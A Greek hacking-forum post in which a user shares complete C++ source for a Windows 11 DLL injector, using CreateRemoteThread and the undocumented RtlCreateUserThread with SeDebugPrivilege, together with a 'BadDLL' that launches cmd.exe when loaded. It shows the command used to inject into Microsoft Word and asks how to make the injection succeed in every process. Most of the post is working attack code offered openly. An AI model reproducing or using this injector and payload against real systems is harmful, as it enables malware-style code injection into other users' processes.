Μετάβαση στο περιεχόμενο
  • ChatBox

    ChatBox

    Chatroom Rules

    • Το GreekHacking.Gr είναι ένα ελληνικό forum και επιτρέπεται μόνο η χρήση της Ελληνική Γλώσσας (ούτε greeklish).
    • Δεν επιτρέπονται οι βρισιές και γενικά η χρήση χυδαίας γλώσσας.
    • Απαγορεύεται αυστηρά το πορνογραφικό, προσβλητικό και βίαιο περιεχόμενο.
    • Μην χρησιμοποιείτε κεφαλαία γράμματα η σύμβολα.
Clipper

DLL Injection με παράδειγματα

Recommended Posts

Clipper

DLL Injection με παράδειγματα

Αυτήν τη στιγμή εργάζομαι σε ένα προσωπικό έργο δοκιμής των Windows 11 επάνω στο DLL Injection.
Καταρχάς επιτρέψτε μου να μοιραστώ μαζί σας ορισμένες γενικές πτυχές / κατευθυντήριες γραμμές:

1. Για μια επιτυχημένη επίθεση σε λειτουργικό Windows 64-bit, ο πηγαίος κώδικας πρέπει να έχει μεταγλωττιστεί σε αρχιτεκτονική 'x64'.
2. Χρησιμοποίησα Visual Studio 2019 και C++ για τη δημιουργία των δοκιμαστικών εφαρμογών.
3. Χρησιμοποιώ δύο μεθόδους για την εφαρμογή της ένεσης DLL:
3.1. Μέθοδος 1: Χρήση της συνάρτησης API: CreateRemoteThread
3.2. Μέθοδος 2: Χρήση της συνάρτησης API (undocumented😞 RtlCreateUserThread

Και, ΝΑΙ, ξέρω, αυτές οι μέθοδοι δεν είναι καινούριες... αλλά θέλω απλώς να τις ελέγξω/δοκιμάσω αν λειτουργούν ακόμα με τα Windows 11 και να μοιραστώ εδώ τα ευρήματά μου καθώς και να κάνω μια ερώτηση (στο τέλος)... :) 

Ο πηγαίος κώδικας του injection είναι ο ακόλουθος:

// DllInjectionTest.cpp : This file contains the 'main' function. Program execution begins and ends there.
// Tested on: Windows 11
// platform x64
// Develpment on C++ VS 2019 
// 
// Tip: on 64bit box Compile on 64bit archecture!
//
////////////////////////////////////

#include <iostream>
#include <cstdio>
#include <windows.h>
#include <tlhelp32.h>
#include <tchar.h>
#include <TlHelp32.h>

#define NT_SUCCESS(x) ((x) >= 0)

typedef struct _CLIENT_ID {
    HANDLE UniqueProcess;
    HANDLE UniqueThread;
} CLIENT_ID, * PCLIENT_ID;

typedef NTSTATUS(NTAPI* pfnRtlCreateUserThread)(
    IN HANDLE ProcessHandle,
    IN PSECURITY_DESCRIPTOR SecurityDescriptor OPTIONAL,
    IN BOOLEAN CreateSuspended,
    IN ULONG StackZeroBits OPTIONAL,
    IN SIZE_T StackReserve OPTIONAL,
    IN SIZE_T StackCommit OPTIONAL,
    IN PTHREAD_START_ROUTINE StartAddress,
    IN PVOID Parameter OPTIONAL,
    OUT PHANDLE ThreadHandle OPTIONAL,
    OUT PCLIENT_ID ClientId OPTIONAL);


typedef NTSTATUS(WINAPI* LPFUN_NtCreateThreadEx)
(
    OUT PHANDLE hThread,
    IN ACCESS_MASK DesiredAccess,
    IN LPVOID ObjectAttributes,
    IN HANDLE ProcessHandle,
    IN LPTHREAD_START_ROUTINE lpStartAddress,
    IN LPVOID lpParameter,
    IN BOOL CreateSuspended,
    IN ULONG StackZeroBits,
    IN ULONG SizeOfStackCommit,
    IN ULONG SizeOfStackReserve,
    OUT LPVOID lpBytesBuffer
    );

//Buffer argument passed to NtCreateThreadEx function

struct NtCreateThreadExBuffer
{
    ULONG Size;
    ULONG Unknown1;
    ULONG Unknown2;
    PULONG Unknown3;
    ULONG Unknown4;
    ULONG Unknown5;
    ULONG Unknown6;
    PULONG Unknown7;
    ULONG Unknown8;
};


BOOL DllInject_1(UINT32 ProcessId, char *DLL_NAME)
{
    LPVOID LoadLibAddr, RemoteString;
    HANDLE hThread;
    DWORD dwWaitResult, dwExitResult = 0;
  
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessId);

    if (hProcess == NULL)
    {
        std::cout << "Cannot get the Process ID " << ProcessId;
        return (0);
    }

    Sleep(2000);

    LoadLibAddr = (LPVOID)GetProcAddress(GetModuleHandle(_T("kernel32.dll")), "LoadLibraryA");
    if (LoadLibAddr == NULL)
    {
        return (0);
    }

    //Allocates a buffer for and writes the path to the DLL we want to inject inside of the target process's memory
    RemoteString = (LPVOID)VirtualAllocEx(hProcess, NULL, strlen(DLL_NAME), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
    if (RemoteString == NULL)
    {
        return (0);
    }
    
    if (!WriteProcessMemory(hProcess, (LPVOID)RemoteString, DLL_NAME, strlen(DLL_NAME, NULL))
    {
        return (0);
    }

    //Calls LoadLibrary on our specified DLL in the target process
    hThread = CreateRemoteThread(
        hProcess, 
        NULL, 
        NULL, 
        (LPTHREAD_START_ROUTINE)LoadLibAddr, 
        (LPVOID)RemoteString, 
        NULL, 
        NULL
    );

    if (hThread != NULL) {
        dwWaitResult = WaitForSingleObject(hThread, 10000); // keep the dll injection action for 10 seconds before free. 
        GetExitCodeThread(hThread, &dwExitResult);
        CloseHandle(hThread);
        VirtualFreeEx(hProcess, RemoteString, 0, MEM_RELEASE);
        return (1);
    }

    return (0);
}

BOOL DllInject_2(UINT32 ProcessId, char* DLL_NAME)
{
    HANDLE ProcessHandle = NULL;

    ProcessHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, ProcessId);

 
    UINT32	DllFullPathLength = (strlen(DLL_NAME));
    PVOID DllFullPathBufferData = VirtualAllocEx(ProcessHandle, NULL, DllFullPathLength, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (DllFullPathBufferData == NULL)
    {
        CloseHandle(ProcessHandle);
        return FALSE;
    }

    SIZE_T	ReturnLength;
    BOOL bOk = WriteProcessMemory(ProcessHandle, DllFullPathBufferData, DLL_NAME, strlen(DLL_NAME), &ReturnLength);

    LPTHREAD_START_ROUTINE	LoadLibraryAddress = NULL;
    HMODULE					Kernel32Module = GetModuleHandle(L"Kernel32");

    LoadLibraryAddress = (LPTHREAD_START_ROUTINE)GetProcAddress(Kernel32Module, "LoadLibraryA");

    pfnRtlCreateUserThread RtlCreateUserThread = (pfnRtlCreateUserThread)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "RtlCreateUserThread");

    
    HANDLE ThreadHandle = NULL;
    NTSTATUS Status = RtlCreateUserThread(ProcessHandle, NULL, FALSE, 0, 0, 0, LoadLibraryAddress, DllFullPathBufferData, &ThreadHandle, NULL);
    if (ThreadHandle == NULL)
    {
        CloseHandle(ProcessHandle);
        return FALSE;
    }
    if (!NT_SUCCESS(Status))
    {
        CloseHandle(ProcessHandle);
        return FALSE;
    }

    if (WaitForSingleObject(ThreadHandle, INFINITE) == WAIT_FAILED)
    {
        return FALSE;
    }

    CloseHandle(ProcessHandle);
    CloseHandle(ThreadHandle);

    return TRUE;
}

/// <summary>
/// Use PROCESS_ALL_ACCESS in OpenProcess
/// </summary>
/// <param name=""></param>
/// <returns></returns>
int EnableSeDebugPrivilege(void) {
    HANDLE hToken;
    LUID Val;
    TOKEN_PRIVILEGES tp;

    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
        return(GetLastError());

    if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &Val))
        return(GetLastError());

    tp.PrivilegeCount = 1;
    tp.Privileges[0].Luid = Val;
    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

    if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL))
        return(GetLastError());

    CloseHandle(hToken);

    return 1;
}


int main(int argc, char *argv[])
{
    DWORD dwTargetProcessID = 0;
    char DLL_NAME[512] = "";
    int iMethod = 0;
 
    if (argc == 4)
    {
        iMethod = atoi(argv[1]);
        if ((iMethod < 1) || (iMethod > 2))
        {
            std::cout << "** Arg(1) must be 1 or 2.";
            return (-1);
        }

        strcpy_s(DLL_NAME, argv[2]);
        dwTargetProcessID = atoi(argv[3]);
    }
    else 
    {
        std::cout << "** Usage: <1 | 2> <Full_DLL_Path_and_Filename> <ProcessID> ";
        std::cout << "** Arg(1) is the method will be used for DLL injection.";
        return -1;
    }

    std::cout << "DLL Injection Test \n";

    if (EnableSeDebugPrivilege() == 1)
        std::cout <<  "[+] Get All Privilege [ok!].\n";
    else
        std::cout << "[-]Cannot Get All Privilege.\n";


    std::cout << "[+] Try to inject...";
    /// //// ---------------------------------------------------------------------
    DWORD CurrentSessionID, RemoteSessionID, RemoteProcessID;
    if (!ProcessIdToSessionId(GetCurrentProcessId(), &CurrentSessionID))
    {
        std::cout << "\nFailed to get the current session with error" << GetLastError() ;
        return -1;
    }
    if (!ProcessIdToSessionId(dwTargetProcessID, &RemoteSessionID))
    {
        std::cout << "\nFailed to get the remote session with error" << GetLastError() ;
        return -2;
    }

    BOOLEAN bResult = false;


    (iMethod == 1) ? (bResult = DllInject_1(dwTargetProcessID, DLL_NAME)) : (bResult = DllInject_2(dwTargetProcessID, DLL_NAME));

    if (bResult)
    {
        std::cout << "\nSUCCESSFUL!\n";
    }
    else
    { 
        std::cout << "\nFailed!\n";
        return -3;
    }

    return 1;

}

 

Ο πηγαίος κώδικας της (κακής - πονηρής) DLL είναι ο ακόλουθος:

//
// BadDLL.cpp
//
#include "pch.h"

// Sorry for some unnecessary Includes below, I just use them since I test several functions during my tests...
#include<stdio.h>
#include <windows.h> 
#include <commctrl.h> 

BOOL WINAPI DllMain(HANDLE hinstance, DWORD dwReason, LPVOID lpReserved)
{
	switch (dwReason)
	{
    case DLL_THREAD_ATTACH:
        break;
    case DLL_THREAD_DETACH:
        break;
    case DLL_PROCESS_DETACH:
        break;
    case DLL_PROCESS_ATTACH:
        STARTUPINFO si;
        PROCESS_INFORMATION pi;

        ZeroMemory(&si, sizeof(si));
        si.cb = sizeof(si);
        ZeroMemory(&pi, sizeof(pi));

        // Start the child process. 

        if (!CreateProcess(
            TEXT("C:\\Windows\\System32\\cmd.exe"),
            NULL,//const_cast<LPWSTR>(L"cmd.exe"),
            NULL,
            NULL,
            FALSE,
            NORMAL_PRIORITY_CLASS | CREATE_NEW_CONSOLE | CREATE_NEW_PROCESS_GROUP,
            NULL,
            NULL,
            &si,
            &pi)
            )

            // Wait until child process exits.
            WaitForSingleObject(pi.hProcess, INFINITE);

        // Close process and thread handles. 
        CloseHandle(pi.hProcess);
        CloseHandle(pi.hThread);

        break;
	}
 
}

Ο στόχος μου είναι να εκτελέσω το 'DllInjectionTest.exe' που θα προσπαθήσει να εισάγει μια διεργασία (το αναγνωριστικό της μεταβιβάζεται ως παράμετρος στην γραμμής εντολών) χρησιμοποιώντας την παραπάνω DLL (η πλήρης διαδρομή της (full path) μεταβιβάζεται επίσης ως όρισμα γραμμής εντολών) και εάν το injection πετύχει πρέπει δείτε το παράθυρο της γραμμής εντολών (cmd.exe) ως αποτέλεσμα.

Επιπλέον, μεταβιβάζω ως παράμετρο γραμμής εντολών τη μέθοδο του injection που θα ήθελα να χρησιμοποιήσω (1 ή 2):

** Usage: <1 | 2> <Full_DLL_Path_and_Filename> <ProcessID>
** Arg(1) is the method will be used for DLL injection.

Ας δούμε ένα παράδειγμα επιτυχημένης εκτέλεσης.

Ο στόχος είναι το Microsoft Word.

Υποθέτοντας ότι το αναγνωριστικό διεργασίας (το Process ID) είναι 21076:

 

screen00.jpg.93093752cf8566c8764c2f1700adec9b.jpg

 

Από γραμμή εντολών λοιπόν τρέχω το εξής:

C:> DllInjectionTest.exe 1 "\work\DLLInjection\BadDLL\x64\Debug\BadDLL.dll" 21076

και πράγματι βλεπω το (επιτυχημένο) αποτέλεσμα του injection:

screen01.jpg.6845c1d0a7d88627410b17eba386f1f1.jpg

Όπως μπορείτε να δείτε, όταν μπορώ να κάνω με επιτυχία την ένεση του Microsoft Work (Λειτουργεί και στις δύο μεθόδους 1 και 2).

ΌΜΩΣ, δυστυχω΄ς βλέπω ότι η εφαρμογή μου λειτουργεί ΜΟΝΟ υπό συνθήκες!!

Μπορεί να λειτουργήσει το Injection σε ορισμένες διεργασίες, αλλά όχι σε όλες!!

1. Π.χ. Δεν μπορώ να κάνω inject σε ενα Elevated Process, εκτός και αν εκτελώ την εφαρμογή μου σε Elevated Command Prompt, αλλά εντάξει, αυτό ήταν κάτι αναμενόμενο!

2. Το Injection ΔΕΝ λειτουργεί για πολλές διεργασίες που έχω ίδια δικαιώματα με αυτές, π.χ. οι εφαρμογές Notepad.exe, CalculatorApp.exe, explorer.exe που εκτελούνται στον ίδιο User Space με την εφαρμογή μου!!

Για το (2) ακόμα ερευνώ και μελετάω για να βρω μια να βρω την πραγματική βασική αιτία που δεν λειτουργεί. Υποπτεύομαι οτι έχει να κάνει με την παρακάτω εντολή:

LoadLibAddr = (LPVOID)GetProcAddress(GetModuleHandle(_T("kernel32.dll")), "LoadLibraryA")

 Το περίεργο με αυτό είναι ότι αν και λαμβάνω "SUCCESSFUL" απάντηση από την εφαρμογή μου, αλλά δεν έχει γίνει ATTACHED κώδικας της DLL , επομένως, δεν βλέπω και το παράθυρο του "cmd.exe"!

Εάν έχετε οποιαδήποτε πρόταση για το πώς να κάνουμε το Injection ωστε να πετυχαίνει παντού, αλλά το πιο σημαντικό γιατί δεν μπορώ να την κάνω το Injection στις συγκεκριμένες διεργασίες, θα είναι περισσότερο από ευπρόσδεκτη... 🙂

 

Thanks for reading & Happy Hacking...

Edited by Clipper

Κατά τον δαίμονα εαυτού...

Μοιράσου αυτή την δημοσίευση


Link to post
Share on other sites

Mata
Διαχειριστής

Μοιράσου αυτή την δημοσίευση


Link to post
Share on other sites

CyberKid
Διαχειριστής

Μοιράσου αυτή την δημοσίευση


Link to post
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Απάντηση στο θέμα...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



ChatBox

ChatBox

Chatroom Rules

  • Το GreekHacking.Gr είναι ένα ελληνικό forum και επιτρέπεται μόνο η χρήση της Ελληνική Γλώσσας (ούτε greeklish).
  • Δεν επιτρέπονται οι βρισιές και γενικά η χρήση χυδαίας γλώσσας.
  • Απαγορεύεται αυστηρά το πορνογραφικό, προσβλητικό και βίαιο περιεχόμενο.
  • Μην χρησιμοποιείτε κεφαλαία γράμματα η σύμβολα.
×
×
  • Create New...